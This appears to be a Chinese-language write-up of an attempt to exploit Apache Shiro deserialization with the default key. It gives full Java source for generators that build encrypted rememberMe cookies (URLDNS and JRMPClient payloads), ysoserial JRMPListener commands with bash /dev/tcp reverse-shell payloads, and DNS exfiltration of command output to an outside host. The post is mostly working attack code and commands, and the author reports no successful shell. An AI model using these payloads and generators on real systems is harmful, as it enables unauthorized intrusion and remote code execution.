验证 一把梭没梭出来,默认key,但是无链 然后用shiro_tool测试有没有别的利用方式 然后用urldns验证了下,有出网请求
利用失败(JRMPClient) 踩坑 尝试反弹shell
1 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -i >& /dev/tcp/x.x.x.x/404 0>&1"
没弹回来 base64编码一下命令
1 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -c {echo,xxx}|{base64,-d}|{bash,-i}"
还是没弹啊,换利用链试试,没想到别的方法,就一个个手打测试,终于有了
1 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsBeanutils1 "ping yso.aggjiwmipb.zaza.eu.org"
执行命令外带看看
1 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsBeanutils1 "ping `whoami`.aggjiwmipb.zaza.eu.org"
卡半天才出来 反弹shell依旧失败ps:后续在另一篇文章看到,其实这个请求可以算是误报,不能作为rce的依据,所以还是要继续分析
urldns探测依赖 用星落安全的一个工具进行urldns探测依赖 感觉必须要跟代码了,到这一步完全不会了,先记录一下依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 javax.naming.spi.ObjectFactory sun.rmi.transport.tcp.TCPEndpoint sun.rmi.server.UnicastRef sun.rmi.transport.LiveRef javax.naming.Reference javax.naming.InitialContext com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl javax.sql.rowset.BaseRowSet com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet org.codehaus.groovy.runtime.ConvertedClosure groovy.lang.GroovyObject com.sun.rowset.JdbcRowSetImpl groovy.lang.Closure org.codehaus.groovy.runtime.GroovyCategorySupport org.codehaus.groovy.runtime.MethodClosure java.lang.reflect.Proxy org.apache.commons.collections.comparators.TransformingComparator org.apache.commons.beanutils.BeanComparator java.util.TreeMap java.util.HashMap java.lang.reflect.InvocationHandler java.util.PriorityQueue org.apache.commons.collections.map.TransformedMap org.apache.commons.beanutils.PropertyUtils org.apache.commons.collections.functors.InstantiateTransformer org.apache.commons.collections.functors.ChainedTransformer org.apache.commons.collections.keyvalue.TiedMapEntry com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter org.apache.commons.collections.functors.ConstantTransformer org.apache.commons.collections.functors.InvokerTransformer com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.commons.collections.Transformer org.apache.commons.collections.map.LazyMap
利用学习针对shiro的java反序列化 先研究下整个过程,先验证密钥,首先有个构造数据的java文件以及shiro的jar包 └─GenRememberMe.java └─shiro-core-1.7.1.jar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.io.Serializable;import java.nio.file.Files;import java.nio.file.Paths;import java.security.SecureRandom;import java.util.Base64;import org.apache.shiro.subject.SimplePrincipalCollection;class DemoObject implements Serializable { private static final long serialVersionUID = 1L ; public String msg = "shiro-test" ; } public class GenRememberMe { private static final String SHIRO_KEY = "kPH+bIxk5D2deZiIxcaaaA==" ; public static void main (String[] args) throws Exception { byte [] serializedData; if (args != null && args.length > 0 ) { serializedData = Files.readAllBytes(Paths.get(args[0 ])); } else { Object obj = new SimplePrincipalCollection ("test" , "realm" ); ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bos); oos.writeObject(obj); oos.close(); serializedData = bos.toByteArray(); } byte [] keyBytes = Base64.getDecoder().decode(SHIRO_KEY); SecretKeySpec keySpec = new SecretKeySpec (keyBytes, "AES" ); byte [] iv = new byte [16 ]; SecureRandom random = new SecureRandom (); random.nextBytes(iv); IvParameterSpec ivSpec = new IvParameterSpec (iv); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding" ); cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); byte [] encrypted = cipher.doFinal(serializedData); byte [] finalPayload = new byte [iv.length + encrypted.length]; System.arraycopy(iv, 0 , finalPayload, 0 , iv.length); System.arraycopy(encrypted, 0 , finalPayload, iv.length, encrypted.length); String rememberMe = Base64.getEncoder().encodeToString(finalPayload); System.out.println("rememberMe=" ); System.out.println(rememberMe); } }
1 javac -encoding UTF-8 -cp ".;shiro-core-1.7.1.jar" GenRememberMe.java
1 java -cp ".;shiro-core-1.7.1.jar" GenRememberMe
得到需要的测试数据 然后发包,直接返回cookie而不是rememberMe=deleteMe;代表所用密钥正确 但是不能用这个作为判断的依据,尝试有urldns链探测也是显示 Set-Cookie: rememberMe=deleteMe; Path=/scm; Max-Age=0; Expires=Wed, 14-Jan-2026 06:50:38 GMT 所以关键要看请求,但是验证密钥可以用之前的代码,然后用urldns探测依赖的话可以这样 接下来,按照我的理解以及ai的教学,就是要枚举依赖版本然后拼链,但是可以先分析下探测到的这些有效依赖org.apache.commons.collections.functors 和 map.LazyMap(不是 collections4),这基本锁定为 CC 3.x 系列com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,CommonsBeanutils 的 TemplatesImpl 链也可行 存在 groovy*,Groovy1 链也可测com.sun.rowset.JdbcRowSetImpl,JNDI 链可尝试但受 JDK 安全策略影响较大 根据分析无需枚举版本了,接下来先手工还原urldns探测请求GenUrlDnsPayload.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class GenUrlDnsPayload { public static void main (String[] args) throws Exception { if (args.length < 2 ) { System.out.println("Usage: java GenUrlDnsPayload <dnslog_url> <output_file>" ); System.out.println("Example: java GenUrlDnsPayload http://xxx.dnslog.cn urldns.bin" ); return ; } String urlStr = args[0 ]; String outFile = args[1 ]; HashMap<URL, String> map = new HashMap <>(); URL url = new URL (urlStr); Field hashCodeField = URL.class.getDeclaredField("hashCode" ); hashCodeField.setAccessible(true ); hashCodeField.set(url, 1234 ); map.put(url, "shiro-urldns-test" ); hashCodeField.set(url, -1 ); try (ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream (outFile))) { oos.writeObject(map); } System.out.println("URLDNS Payload has been generated to: " + outFile); } }
然后编译
1 javac -encoding UTF-8 GenUrlDnsPayload.java
生成原始反序列化数据
1 java GenUrlDnsPayload http://urldnstest.mcrtzxujgk.iyhc.eu.org urldns.bin
使用 GenRememberMe 加密 Payload(利用已有的 GenRememberMe)
1 java -cp ".;shiro-core-1.7.1.jar" GenRememberMe urldns.bin
然后用这个数据发送,测试显示确实能接收到请求 一步步排查,然后就是拷打ai根据ysoserial-all.jar的利用链一步步有排查,发现jrmp的记录 jrmp探测代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.io.ByteArrayOutputStream;import java.util.Base64;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.security.SecureRandom;public class GenJrmpPayload { private static final String SHIRO_KEY = "kPH+bIxk5D2deZiIxcaaaA==" ; public static void main (String[] args) throws Exception { if (args.length < 1 ) { System.out.println("Usage: java -cp \".;ysoserial-all.jar\" GenJrmpPayload <dnslog_domain> [output_file]" ); return ; } String domain = args[0 ]; String outFile = args.length > 1 ? args[1 ] : null ; String jrmpArg = "jrmptest." + domain + ":80" ; System.out.println("[*] Generating JRMPClient Payload for: " + jrmpArg); Object payload = getPayload("JRMPClient" , jrmpArg); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(payload); oos.close(); byte [] rawBytes = baos.toByteArray(); if (outFile != null ) { try (FileOutputStream fos = new FileOutputStream (outFile)) { fos.write(rawBytes); } System.out.println("[*] Raw payload written to: " + outFile); } String cookie = encrypt(rawBytes); System.out.println("\n[*] Encrypted Cookie for Manual Testing:" ); System.out.println("rememberMe=" + cookie); } public static Object getPayload (String gadget, String arg) throws Exception { Class<?> clazz = Class.forName("ysoserial.payloads." + gadget); Object instance = clazz.newInstance(); java.lang.reflect.Method method = clazz.getMethod("getObject" , String.class); return method.invoke(instance, arg); } private static String encrypt (byte [] payload) throws Exception { SecretKeySpec key = new SecretKeySpec (Base64.getDecoder().decode(SHIRO_KEY), "AES" ); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding" ); SecureRandom random = new SecureRandom (); byte [] iv = new byte [16 ]; random.nextBytes(iv); IvParameterSpec ivSpec = new IvParameterSpec (iv); cipher.init(Cipher.ENCRYPT_MODE, key, ivSpec); byte [] encrypted = cipher.doFinal(payload); ByteArrayOutputStream outputStream = new ByteArrayOutputStream (); outputStream.write(iv); outputStream.write(encrypted); return Base64.getEncoder().encodeToString(outputStream.toByteArray()); } }
1 javac -cp ".;ysoserial-all.jar" GenJrmpPayload.java
1 java -cp ".;ysoserial-all.jar" GenJrmpPayload mgvatzbqxb.zaza.eu.org
那又回到原点,还是要用jrmp来打,并且根据讲解,之前失败可能的原因是Payload 过大 :日志显示 CommonsCollections 系列 Payload 普遍超过 4KB,被服务器截断了,通过 JRMP 协议下发真正的 RCE Payload(这时候就不受 HTTP Header 长度限制了) 还是要换链,但就是这一点卡住了,目前貌似是所有链都试过了都没通